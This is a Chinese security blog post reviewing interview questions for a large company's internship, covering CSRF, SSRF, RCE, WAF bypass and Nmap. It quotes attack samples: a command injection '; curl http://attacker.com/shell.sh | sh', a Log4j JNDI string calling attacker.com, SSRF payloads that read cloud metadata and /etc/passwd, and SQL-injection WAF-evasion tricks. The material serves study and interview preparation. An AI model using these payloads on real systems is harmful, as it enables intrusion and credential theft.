网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
某四字大厂实习面试复盘 一面 三面
一、CSRF原理及攻防解析
二、SSRF漏洞实战场景分析
三、RCE漏洞利用全景透视
四、文件上传漏洞减少的深层原因
五、基于语义分析的WAF技术解析
总结与演进方向
某四字大厂实习面试复盘 一面 三面
一面 数组和链表各自的优势和原因 操作系统层面解析和进程 线程和进程通信方式以及数据安全问题 线程和多进程的选用场景以及原因 SQL注入绕waf方式 FUZZ绕WAF的payload长度通常十多少 不查资料不能测试直接写IPV4的正则 fastjson的反序列化原理 Java反射机制会导致怎么样的安全问题 XSS和CSRF的相同点以及如何配合利用 CSRF_TOKEN的位置以及原理和绕过 尽可能多说你所知道的HTTP头 Nmap常见扫描方式的原理以及NSE脚本原理
一、数据结构基础
- 数组与链表对比 优势对比: 数组(时间复杂度):
- 随机访问O(1):连续内存地址计算
- 尾部插入O(1),中间插入O(n):需整体移位
- 缓存友好性:利用空间局部性原理
链表(空间特性):
- 动态扩展:节点离散存储
- 插入删除O(1):指针重定向操作
- 内存碎片:非连续存储导致缓存命中率降低
二、操作系统核心机制
- 进程管理
- 地址空间隔离:通过MMU实现虚拟内存映射
- 上下文切换成本:需保存寄存器状态(约1-10μs)
- 进程调度算法:CFS(完全公平调度器)使用红黑树管理
三、并发编程模型
- 通信方式对比 进程通信(IPC):
- 共享内存(mmap):需配合信号量同步
- 管道(半双工):内核缓冲区实现
- 消息队列:POSIX标准最大长度8192字节
线程同步:
- CAS原子操作:实现无锁数据结构
- 内存屏障:解决指令重排序问题
- ThreadLocal原理:基于线程ID的哈希表
四、安全攻防技术
- SQL注入突破方案 绕WAF技术栈:
- 字符编码变形:HEX/Unicode/URL编码混合
- 语句拆分:利用MySQL的/!版本号/特性
- 分块传输编码:结合Transfer-Encoding头
- 时间盲注优化:BENCHMARK(5000000,MD5(1))
- FUZZ载荷长度
- 黄金分割区间:512-4096字节(多数WAF检测阈值)
- 分片策略:通过Range头分段发送
- 填充技巧:添加无意义注释/!00000a/
五、协议与正则 IPv4正则表达式(无需测试版): ^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$ 注:该表达式未处理前导零问题
六、Java安全机制
Fastjson反序列化 漏洞模式链: JNDI注入路径:通过AutoType机制加载恶意类 防御演进:从黑白名单到SafeMode模式 最新绕过:利用ExpectClass机制的类型混淆
反射安全风险 攻击面示例:
- 修改AccessibleObject.override 标志
- 调用MethodHandle.invokeExact
- 破坏安全管理器:System.setSecurityManager(null)
七、Web安全纵深
- XSS与CSRF协同利用 组合攻击模式:
- 通过存储型XSS劫持CSRF Token
- 利用CORS漏洞实现跨域CSRF
- 配合Clickjacking进行UI覆盖攻击
- CSRF_TOKEN防护体系 存储位置演化:
- Cookie(HttpOnly+SameSite)
- 双重提交模式:表单字段+自定义头 绕过技术:
- DNS重绑定攻击
- 利用XSS读取Token
- 跨域资源共享漏洞(CORS配置不当)
八、HTTP协议全景 关键头部全集(分类说明): 安全类:
- Content-Security-Policy(CSP策略)
- Strict-Transport-Security(HSTS)
- X-Content-Type-Options(MIME嗅探防御)
性能类:
- HTTP/2 Server Push(服务端推送)
- Early-Data(0-RTT风险)
- Accept-Encoding(Brotli压缩)
认证类:
- Authorization: Bearer(OAuth2)
- WWW-Authenticate: Negotiate(Kerberos)
- X-Requested-With(AJAX标识)
九、网络侦查技术 Nmap核心技术解析:
- 扫描类型矩阵
- TCP SYN扫描(半开式扫描):发送SYN包检测响应
- ACK扫描(防火墙探测):观察TTL值变化
- 空闲扫描(IPID预测):利用僵尸主机隐蔽扫描
- NSE脚本引擎 架构特性:
- 阶段式执行:预扫描/扫描/后扫描
- 协程机制:支持异步网络操作
- 漏洞检测模板:match/version/exploit类别
典型脚本分析: http-sqli检测逻辑:基于响应时间差异判断盲注 smb-vuln-ms17-010:检测永恒之蓝漏洞
三面 CSRF原理 结合实际的例子说说SSRF 结合实际的例子说说RCE 为什么现在文件上传很少了 基于语义分析的WAF了解吗
一、CSRF原理及攻防解析
原理本质
跨站请求伪造(CSRF)的核心在于利用浏览器自动携带用户凭证的特性,诱导用户触发非预期的敏感操作。攻击链包含三个关键环节:
- 用户登录目标网站(如银行系统),Cookie保持有效
- 用户访问恶意页面,该页面自动发送构造好的请求(如转账指令)
- 浏览器自动附加Cookie,服务器误认为是合法操作
经典案例
某电商平台的修改收货地址接口未做CSRF防护,攻击者构造如下页面:html
<img src="https://mall.com/address/update?address=attacker_addr" width="0" height="0">
用户访问该页面后,收货地址被静默修改,后续订单将发往攻击者地址。
防御体系
- SameSite Cookie:设置
SameSite=Strict
阻断跨域携带- Token验证:表单中嵌入动态Token(如UUID+时间戳哈希)
- 二次确认:关键操作需密码/短信验证(如转账金额阈值)
二、SSRF漏洞实战场景分析
漏洞成因
服务端未对用户提供的URL进行合法性校验,导致攻击者操控服务器发起任意网络请求。典型案例
- 云环境元数据泄露
攻击者利用Web应用中的URL处理功能,构造请求:http://internal-service/api/fetch?url=http://169.254.169.254/latest/meta-data/
服务器访问AWS元数据接口,返回IAM凭证等敏感信息。
- 内网服务探测
某OA系统的文件导入功能支持远程URL,攻击者使用:file:///etc/passwd # 读取系统文件 dict://127.0.0.1:6379/info # 探测Redis服务
成功获取服务器敏感配置。
三、RCE漏洞利用全景透视
漏洞模式
- 命令注入
某网络设备管理界面存在未过滤的ping功能python
os.system("ping -c 4 " + user_input)
输入
8.8.8.8; curl http://attacker.com/shell.sh | sh
,实现远程控制。
- 反序列化攻击
Log4j漏洞(CVE-2021-44228)中,攻击者构造日志内容:java
logger.error("${jndi:ldap://attacker.com/Exploit}")
触发JNDI注入,加载远程恶意类执行任意代码。
防御纵深
- 输入白名单验证(如仅允许数字和
.
)- 使用
ProcessBuilder
替代Runtime.exec
- 沙箱隔离(Docker容器、Seccomp过滤)
四、文件上传漏洞减少的深层原因
技术演进
- 框架自动化防护
现代框架(如Spring、Django)内置安全处理:java
// Spring示例:自动检测文件类型 @PostMapping("/upload") public String handleUpload(@RequestParam MultipartFile file) { if (!file.getContentType().equals("image/jpeg")) { throw new InvalidFileException(); } }
- 云原生架构变革
- 文件存储分离:直传OSS/S3,避免服务器处理
- Serverless无状态:上传链路由云厂商托管
- 内容安全扫描:阿里云内容安全API实时检测恶意文件
- 防御技术升级
- 文件头校验(Magic Number检测)
- 动态渲染检测:通过Docker沙箱执行文件验证
- 哈希黑名单:维护已知恶意文件特征库
五、基于语义分析的WAF技术解析
与传统规则库的差异
维度 传统WAF 语义分析WAF 检测方式 正则匹配 抽象语法树分析 绕过难度 易(编码变形) 难(理解语义) 误报率 高 低(上下文感知) 实现原理
- 请求解析引擎
- 对HTTP请求进行语法解析,构建参数结构树
- 识别参数上下文(如JSON字段、XML节点)
- 语义推理模型
- SQL注入检测:解析生成AST,判断是否改变原查询意图
- RCE检测:分析命令执行链是否符合业务场景
实战案例
某WAF对以下混淆攻击的识别:sql
SELECT/*!88888cas*/ * FROM users WHERE id=1 UNION/**/SELECT 1,version()
语义引擎:
- 标准化处理(去除注释、统一空格)
- 识别出
UNION SELECT version()
结构- 结合上下文判断该查询不符合业务逻辑(用户查询不应包含版本探测)
绕过挑战
- 需构造符合业务语义的恶意请求(如利用时间盲注模拟正常分页查询)
- 依赖0day漏洞利用(现有语义模型未覆盖的新型攻击模式)
总结与演进方向
当前网络安全防御呈现「动态对抗」特征:
- 攻击方:转向逻辑漏洞、供应链攻击等新型向量
- 防御方:结合AI语义分析、硬件可信执行环境(TEE)构建纵深防御
- 未来焦点:API安全、云原生架构安全、AI模型自身攻防等新兴领域